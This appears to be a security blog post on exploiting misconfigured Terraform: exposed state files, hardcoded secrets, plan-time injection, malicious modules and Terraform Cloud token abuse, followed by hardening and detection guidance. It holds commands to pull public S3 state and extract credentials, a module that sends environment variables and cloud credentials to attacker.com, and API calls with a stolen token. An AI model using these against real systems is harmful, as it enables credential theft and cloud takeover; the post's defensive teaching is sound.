Back to Blog
Exploitation

Exploiting Misconfigured Terraform and Infrastructure as Code (IaC)

OffSec Research Team
10 June 2026 • 09:00 AM15 min
Exploiting Misconfigured Terraform and Infrastructure as Code (IaC)
TL;DR — Terraform state files are credential dumps in disguise: they capture the plaintext values of every sensitive attribute ever written to infrastructure, including database passwords, TLS private keys, and cloud provider credentials. Beyond state exposure, Terraform's execution model — plan, then apply, with external data sources evaluated at both phases — creates injection windows that attackers can exploit. This post covers state file exfiltration from misconfigured S3 backends, plan-phase injection, provider credential theft, malicious module supply chain attacks, and the Checkov/tfsec findings that most teams ignore until they appear in a breach notification.

Executive Summary

Infrastructure as Code promised to bring software engineering discipline to infrastructure provisioning. It delivered on that promise — and in doing so, it concentrated sensitive configuration, credentials, and architecture documentation into files that are version-controlled, cached, and shared across teams. The terraform.tfstate file is the Rosetta Stone of an organization's cloud infrastructure: it records every resource ever provisioned, every attribute ever set, and — critically — every credential ever passed as a variable, regardless of whether that variable was marked sensitive.

The attack surface is broader than most practitioners appreciate. State files routinely appear in public S3 buckets (misconfigured during initial setup before bucket policies were tightened). Credentials get hardcoded in .tf files when developers bypass secret management for "just this once." Malicious Terraform modules on the public registry execute arbitrary code via local-exec provisioners during terraform apply. Terraform Cloud workspaces with overprivileged tokens represent a single credential that can provision or destroy an entire cloud environment.

This post treats the Terraform ecosystem as an attacker would: as a series of trust boundaries that can be crossed whenever configuration, supply chain, or operational security controls fall short.

The Terraform Execution Model and Its Security Implications

Understanding where attacks land requires understanding Terraform's execution model:

diagram — rendering…
graph TD
    A[terraform init\nDownload providers and modules] --> B[terraform plan\nQuery current state + desired state\nEvaluate external data sources]
    B --> C[Human Review\nPlan output shown to operator]
    C --> D[terraform apply\nRe-evaluate plan\nRe-query external data sources\nMake API calls to provision]
    D --> E[State Updated\ntfstate written to backend]

    F[Remote Backend\nS3 / Terraform Cloud / Azure Blob] <--> E
    F <--> B

    style F fill:#ff9999
    style E fill:#ff9999

The critical observation: external data sources are evaluated during plan and again during apply. There is a window between plan approval and apply execution where an attacker who controls an external resource can change what value Terraform reads — the classic TOCTOU (Time of Check to Time of Use) window. Additionally, init downloads providers and modules from remote registries, plan reads the current state file, and apply writes back to it. Each of these phases touches external systems that represent trust boundaries.

State File Exposure: The Primary Attack Vector

What Lives in tfstate

The Terraform state file is a JSON document that records every resource Terraform manages, with every attribute in its current state. The sensitive = true marking in variable definitions prevents values from appearing in plan output — but it does not prevent them from being written to the state file in plaintext.

json
{  "version": 4,  "terraform_version": "1.6.0",  "resources": [    {      "type": "aws_db_instance",      "instances": [        {          "attributes": {            "id": "prod-postgres",            "username": "dbadmin",            "password": "SuperSecret123!",            "endpoint": "prod-postgres.cluster.us-east-1.rds.amazonaws.com:5432",            "connection_string": "postgresql://dbadmin:SuperSecret123!@prod-postgres..."          }        }      ]    },    {      "type": "aws_iam_access_key",      "instances": [        {          "attributes": {            "id": "AKIAIOSFODNN7EXAMPLE",            "secret": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",            "user": "terraform-provisioner"          }        }      ]    },    {      "type": "tls_private_key",      "instances": [        {          "attributes": {            "private_key_pem": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAK...",            "public_key_openssh": "ssh-rsa AAAAB3NzaC1..."          }        }      ]    }  ]}

This is not an edge case — it is standard Terraform behavior. The tls_private_key resource, widely used to provision SSH keys and TLS certificates, writes the private key material to state. RDS instances write the master password. IAM access keys write the secret key. Any resource that Terraform provisions with credentials stores those credentials in state.

S3 Backend Misconfiguration

The most common state file exposure path is an S3 bucket backend where public access was not blocked at the time of creation:

bash
# Passive discovery — search for exposed tfstate files# Using tools like grayhatwarfare.com, S3Scanner, or direct bucket guessing # Common bucket naming patternsterraform-state-<company><company>-terraform-state<company>-infra-state<env>-terraform-backend # Once a bucket name is identified, check for public accessaws s3 ls s3://company-terraform-state --no-sign-request 2>/dev/null # List and download state filesaws s3 ls s3://company-terraform-state --recursive --no-sign-requestaws s3 cp s3://company-terraform-state/production/terraform.tfstate . --no-sign-request # Extract credentials from downloaded statecat terraform.tfstate | python3 - << 'EOF'import json, sys, re with open('terraform.tfstate') as f:    state = json.load(f) # Extract all attribute values that look like credentialscredential_patterns = re.compile(    r'(password|secret|key|token|credential|private_key|connection_string)',    re.IGNORECASE) def extract_creds(obj, path=""):    if isinstance(obj, dict):        for k, v in obj.items():            new_path = f"{path}.{k}" if path else k            if credential_patterns.search(k) and isinstance(v, str) and len(v) > 5:                print(f"[CRED] {new_path}: {v[:100]}")            extract_creds(v, new_path)    elif isinstance(obj, list):        for i, v in enumerate(obj):            extract_creds(v, f"{path}[{i}]") extract_creds(state)EOF

Local State Committed to Git

Development workflows that start with terraform init locally often produce a terraform.tfstate file in the working directory. If this file is committed to git before a .gitignore is configured — a common mistake — the state and all embedded credentials become part of the repository history permanently, even after the file is deleted from the working tree.

bash
# Search for tfstate in git historygit log --all --full-history -- "*.tfstate"git log --all --full-history -- "*terraform.tfstate*" # Extract state file from a specific historical commitgit show <commit-sha>:terraform.tfstate > historical_state.json # Search git log for committed secrets patterns (truffleHog approach)trufflehog git file://. --since-commit HEAD~100 --only-verified # Direct search for credentials in git historygit grep -i "password\|secret_key\|private_key" $(git rev-list --all) -- "*.tf" "*.tfstate"

Hardcoded Credentials in .tf Files

Beyond state files, .tf configuration files themselves frequently contain hardcoded credentials — particularly in provider configurations and resource definitions written before the team adopted a secrets management solution:

hcl
# VULNERABLE: Hardcoded provider credentialsprovider "aws" {  region     = "us-east-1"  access_key = "AKIAIOSFODNN7EXAMPLE"       # Hardcoded — will appear in git history  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"} # VULNERABLE: Hardcoded database passwordresource "aws_db_instance" "production" {  identifier     = "prod-postgres"  engine         = "postgres"  instance_class = "db.r5.xlarge"  username       = "dbadmin"  password       = "SuperSecret123!"  # Hardcoded — in git forever} # VULNERABLE: Hardcoded API key passed to Lambdaresource "aws_lambda_function" "api_handler" {  environment {    variables = {      STRIPE_SECRET_KEY = "sk_live_abc123def456..."  # Hardcoded      SENDGRID_API_KEY  = "SG.xxxxxxxxxxxxxxxxxxxx"  # Hardcoded    }  }}

Terraform Plan Injection (TOCTOU)

The window between terraform plan and terraform apply is an attack surface when external data sources fetch values from systems the attacker controls. This is particularly relevant in environments where plan output is reviewed by one team and applied by another, or where the apply is triggered by automation:

hcl
# VULNERABLE: External data source reads from a URL at plan AND apply timedata "external" "config" {  program = ["curl", "-s", "https://config.internal/terraform-vars"]} resource "aws_security_group_rule" "allow_cidr" {  type        = "ingress"  from_port   = 443  to_port     = 443  protocol    = "tcp"  # At plan time: returns "10.0.0.0/8" (internal CIDR — plan looks fine)  # At apply time: attacker has changed endpoint to return "0.0.0.0/0"  cidr_blocks = [data.external.config.result["allowed_cidr"]]}

The plan shows a restrictive CIDR. The reviewer approves. Between approval and apply, the external endpoint is modified to return 0.0.0.0/0. The applied security group rule exposes the port to the internet.

Malicious Terraform Modules

The Terraform Registry hosts public modules that can be referenced by any configuration. Typosquatting and malicious modules with local-exec provisioners execute arbitrary code on the machine running terraform apply:

hcl
# VULNERABLE: Using an unverified module from the public registrymodule "vpc" {  source  = "hashicorp/vpc/aws"    # Legitimate  version = "~> 4.0"} # TYPOSQUATTED: Looks similar but is attacker-controlledmodule "vpc" {  source  = "hashicorp/awsvpc/aws"  # Typosquatted — extra "aws"  version = "~> 4.0"} # MALICIOUS MODULE INTERNALS — what the attacker's module contains:# main.tf in the malicious module: resource "null_resource" "exfil" {  provisioner "local-exec" {    command = <<-EOT      # This executes on the machine running 'terraform apply'      # Could be a developer workstation or a CI/CD runner      curl -s -X POST https://attacker.com/harvest \        -d "$(env | base64)" \        -d "$(cat ~/.aws/credentials | base64)" \        -d "$(cat ~/.terraform.d/credentials.tfrc.json | base64)" &    EOT  }}

The local-exec and remote-exec provisioners execute arbitrary shell commands. Any module that includes them should be treated as executing untrusted code on the provisioning host.

Terraform Cloud and Enterprise Attacks

Workspace Variable Injection

Terraform Cloud workspaces store variables (including sensitive ones) that are injected into the Terraform execution environment. An attacker with the Terraform Cloud organization token or a workspace-level token can read or overwrite these variables:

bash
# Terraform Cloud API — list workspace variablesTFC_TOKEN="<stolen-org-token>"ORG="my-organization"WORKSPACE="production-aws" # Get workspace IDWORKSPACE_ID=$(curl -s \  -H "Authorization: Bearer $TFC_TOKEN" \  "https://app.terraform.io/api/v2/organizations/$ORG/workspaces/$WORKSPACE" \  | jq -r '.data.id') # List variables (sensitive values are redacted in response but can be overwritten)curl -s \  -H "Authorization: Bearer $TFC_TOKEN" \  "https://app.terraform.io/api/v2/workspaces/$WORKSPACE_ID/vars" \  | jq -r '.data[] | "\(.attributes.key) = \(.attributes.value // "[SENSITIVE]") [\(.attributes.category)]"' # Overwrite a variable to inject malicious infrastructurecurl -s -X PATCH \  -H "Authorization: Bearer $TFC_TOKEN" \  -H "Content-Type: application/vnd.api+json" \  "https://app.terraform.io/api/v2/workspaces/$WORKSPACE_ID/vars/$VAR_ID" \  -d '{"data":{"type":"vars","attributes":{"value":"0.0.0.0/0"}}}'

API Token Theft from Workspace Settings

Terraform Cloud API tokens appear in several places that attackers target: ~/.terraform.d/credentials.tfrc.json on developer workstations, CI/CD environment variables (TF_TOKEN_app_terraform_io), and repository secrets.

bash
# On a compromised developer workstationcat ~/.terraform.d/credentials.tfrc.json# {#   "credentials": {#     "app.terraform.io": {#       "token": "XXXXXXXXXX.atlasv1.YYYYYY..."#     }#   }# } # With a stolen token, trigger a new run that executes attacker-controlled codecurl -s -X POST \  -H "Authorization: Bearer $STOLEN_TFC_TOKEN" \  -H "Content-Type: application/vnd.api+json" \  "https://app.terraform.io/api/v2/runs" \  -d '{    "data": {      "type": "runs",      "attributes": {        "is-destroy": false,        "message": "Automated run"      },      "relationships": {        "workspace": {          "data": {"type": "workspaces", "id": "ws-XXXXXXXX"}        }      }    }  }'

IaC Misconfiguration Scanning

Checkov Findings and Their Severity

bash
# Run Checkov against a Terraform directorypip install checkovcheckov -d ./terraform --framework terraform --output json > findings.json # Critical findings to prioritize:# CKV_AWS_18: S3 access logging not enabled# CKV_AWS_19: S3 server-side encryption not enabled# CKV_AWS_21: S3 versioning not enabled# CKV_AWS_20: S3 bucket publicly readable# CKV_AWS_57: S3 bucket publicly writable# CKV_AWS_111: IAM policy with admin privileges# CKV_AWS_40: IAM user with direct policy attachment (use roles)# CKV2_AWS_6: S3 Block Public Access not enabled# CKV_AWS_7: KMS key rotation not enabled# CKV_AWS_23: ALB/ELB with HTTPS not enforced # tfsec — alternative scanner with different rule setdocker run --rm -v "$(pwd):/src" aquasec/tfsec /src # Custom policy: detect hardcoded secrets in Terraformcheckov -d . --check CKV_SECRET_1,CKV_SECRET_2

Hardcoded Secret Detection Across the Repository

python
#!/usr/bin/env python3# Scan Terraform files for hardcoded credentials patterns import osimport reimport sysfrom pathlib import Path PATTERNS = {    'AWS Access Key': r'AKIA[0-9A-Z]{16}',    'AWS Secret Key': r'(?i)(aws_secret_access_key|secret_key)\s*=\s*["\'][A-Za-z0-9/+=]{40}["\']',    'Generic Password': r'(?i)(password|passwd|pwd)\s*=\s*["\'][^"\']{8,}["\']',    'Private Key': r'-----BEGIN (?:RSA|EC|OPENSSH) PRIVATE KEY-----',    'Stripe Key': r'sk_(live|test)_[0-9a-zA-Z]{24}',    'Generic Token': r'(?i)(token|api_key|secret)\s*=\s*["\'][a-zA-Z0-9_\-]{20,}["\']',} def scan_directory(path):    findings = []    for tf_file in Path(path).rglob('*.tf'):        content = tf_file.read_text(errors='ignore')        for pattern_name, pattern in PATTERNS.items():            matches = re.finditer(pattern, content)            for match in matches:                line_num = content[:match.start()].count('\n') + 1                findings.append({                    'file': str(tf_file),                    'line': line_num,                    'pattern': pattern_name,                    'match': match.group()[:80]                })    return findings findings = scan_directory(sys.argv[1] if len(sys.argv) > 1 else '.')for f in findings:    print(f"[{f['pattern']}] {f['file']}:{f['line']}: {f['match']}")

Vulnerable vs. Hardened Terraform Configuration

hcl
# =============================================================================# VULNERABLE CONFIGURATION# ============================================================================= terraform {  backend "s3" {    bucket = "my-terraform-state"    # No encryption, no versioning, no locking    key    = "production/terraform.tfstate"    region = "us-east-1"    # Missing: encrypt, dynamodb_table (state locking)  }} provider "aws" {  region     = "us-east-1"  access_key = "AKIAIOSFODNN7EXAMPLE"    # Hardcoded  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"} resource "aws_s3_bucket" "data" {  bucket = "company-sensitive-data"  # No versioning, no encryption, no public access block} resource "aws_security_group" "web" {  ingress {    from_port   = 0    to_port     = 0    protocol    = "-1"    cidr_blocks = ["0.0.0.0/0"]   # All traffic from anywhere  }} resource "aws_iam_role_policy" "admin" {  name = "admin-access"  role = aws_iam_role.lambda.id   policy = jsonencode({    Statement = [{      Effect   = "Allow"      Action   = ["*"]          # Wildcard — full admin      Resource = ["*"]    }]  })}
hcl
# =============================================================================# HARDENED CONFIGURATION# ============================================================================= terraform {  backend "s3" {    bucket         = "my-terraform-state"    key            = "production/terraform.tfstate"    region         = "us-east-1"    encrypt        = true                         # AES-256 encryption    kms_key_id     = "arn:aws:kms:us-east-1:123:key/abc..."    dynamodb_table = "terraform-state-lock"       # State locking prevents concurrent applies    versioning     = true  }  required_providers {    aws = {      source  = "hashicorp/aws"      version = "~> 5.30"  # Pin to minor version range    }  }} # Credentials via environment variables or IAM instance profile — never hardcodedprovider "aws" {  region = var.aws_region  # Credentials from: AWS_ACCESS_KEY_ID env var, IAM role, or ~/.aws/credentials  # Never hardcoded in .tf files} resource "aws_s3_bucket" "data" {  bucket = "company-sensitive-data"} resource "aws_s3_bucket_versioning" "data" {  bucket = aws_s3_bucket.data.id  versioning_configuration {    status = "Enabled"  }} resource "aws_s3_bucket_server_side_encryption_configuration" "data" {  bucket = aws_s3_bucket.data.id  rule {    apply_server_side_encryption_by_default {      sse_algorithm     = "aws:kms"      kms_master_key_id = aws_kms_key.s3.arn    }  }} resource "aws_s3_bucket_public_access_block" "data" {  bucket                  = aws_s3_bucket.data.id  block_public_acls       = true  block_public_policy     = true  ignore_public_acls      = true  restrict_public_buckets = true} resource "aws_security_group" "web" {  ingress {    from_port   = 443    to_port     = 443    protocol    = "tcp"    cidr_blocks = ["10.0.0.0/8"]   # Internal only; ALB handles external traffic  }  egress {    from_port   = 0    to_port     = 0    protocol    = "-1"    cidr_blocks = ["0.0.0.0/0"]    # Egress can be scoped further  }} resource "aws_iam_role_policy" "lambda_minimal" {  name = "lambda-minimal-access"  role = aws_iam_role.lambda.id   policy = jsonencode({    Statement = [      {        Effect   = "Allow"        Action   = ["s3:GetObject"]        Resource = ["${aws_s3_bucket.data.arn}/allowed-prefix/*"]      },      {        Effect   = "Allow"        Action   = [          "logs:CreateLogGroup",          "logs:CreateLogStream",          "logs:PutLogEvents"        ]        Resource = ["arn:aws:logs:*:*:log-group:/aws/lambda/${var.function_name}:*"]      }    ]  })}

Detection and Mitigation

Preventing State File Exposure

ControlImplementationTool
S3 Block Public AccessEnable at account level as defaultAWS Config rule: s3-bucket-public-access-prohibited
State file encryptionencrypt = true + KMS key in backend configCheckov: CKVAWS119
State lockingdynamodb_table in S3 backendManual review of backend config
Git pre-commit hooksBlock commit of *.tfstate filespre-commit with detect-secrets
Secrets scanningScan all committed .tf filestruffleHog, gitleaks, GitHub secret scanning
IAM policy for state bucketRestrict to specific roles; deny s3:PutBucketAclAWS IAM
bash
# pre-commit configuration to block tfstate commitscat > .pre-commit-config.yaml << 'EOF'repos:- repo: https://github.com/pre-commit/pre-commit-hooks  rev: v4.5.0  hooks:  - id: detect-private-key  - id: detect-aws-credentials- repo: https://github.com/Yelp/detect-secrets  rev: v1.4.0  hooks:  - id: detect-secrets    args: ['--baseline', '.secrets.baseline']- repo: local  hooks:  - id: block-tfstate    name: Block terraform state files    entry: bash -c 'if git diff --cached --name-only | grep -E "\.tfstate"; then echo "ERROR: Do not commit terraform state files"; exit 1; fi'    language: system    pass_filenames: falseEOF # Also add to .gitignoreecho "*.tfstate" >> .gitignoreecho "*.tfstate.backup" >> .gitignoreecho ".terraform/" >> .gitignore

Detecting Malicious Module Execution

bash
# Audit all module sources before running terraform initgrep -r "source\s*=" . --include="*.tf" | grep -v "hashicorp/" | grep -v "./" # Check module source integrity — compare against known-good hashesterraform providers lock \  -platform=linux_amd64 \  -platform=darwin_amd64 \  -platform=windows_amd64 # Use Terraform's dependency lock file (.terraform.lock.hcl) to pin provider hashes# and detect if a provider has been tampered with # OPA policy to enforce approved module registries onlycat > module_sources.rego << 'EOF'package terraform.modules deny[msg] {  resource := input.resource_changes[_]  module_source := resource.change.after.source  not startswith(module_source, "registry.terraform.io/hashicorp/")  not startswith(module_source, "./")  not startswith(module_source, "../")  msg := sprintf("Unapproved module source: %v", [module_source])}EOF

Conclusion

Terraform and IaC tooling have made cloud infrastructure provisioning reproducible and auditable — but they have also created new attack surfaces that did not exist in the click-ops era. The tfstate file is the most underappreciated secret store in cloud security: it contains plaintext copies of every credential passed to every resource, and it is routinely found in public S3 buckets, committed to git repositories, and cached on CI/CD runner filesystems.

The remediation posture is achievable without sacrificing operational velocity. Encrypted S3 backends with DynamoDB locking, removal of all hardcoded credentials in favor of IAM roles and secrets manager references, pre-commit hooks that block tfstate and secret commits, and a Checkov/tfsec gate in CI pipelines eliminate the most commonly exploited misconfigurations. Module supply chain hygiene — verified sources, pinned versions, no unreviewed local-exec provisioners — addresses the remaining category.

The organizations that treat their Terraform configurations with the same security rigor as application code — mandatory code review, secret scanning, dependency pinning, and access controls on the state backend — are materially harder targets than those that treat IaC as "just configuration." In cloud environments where the blast radius of a credential compromise is the entire AWS account, that distinction matters.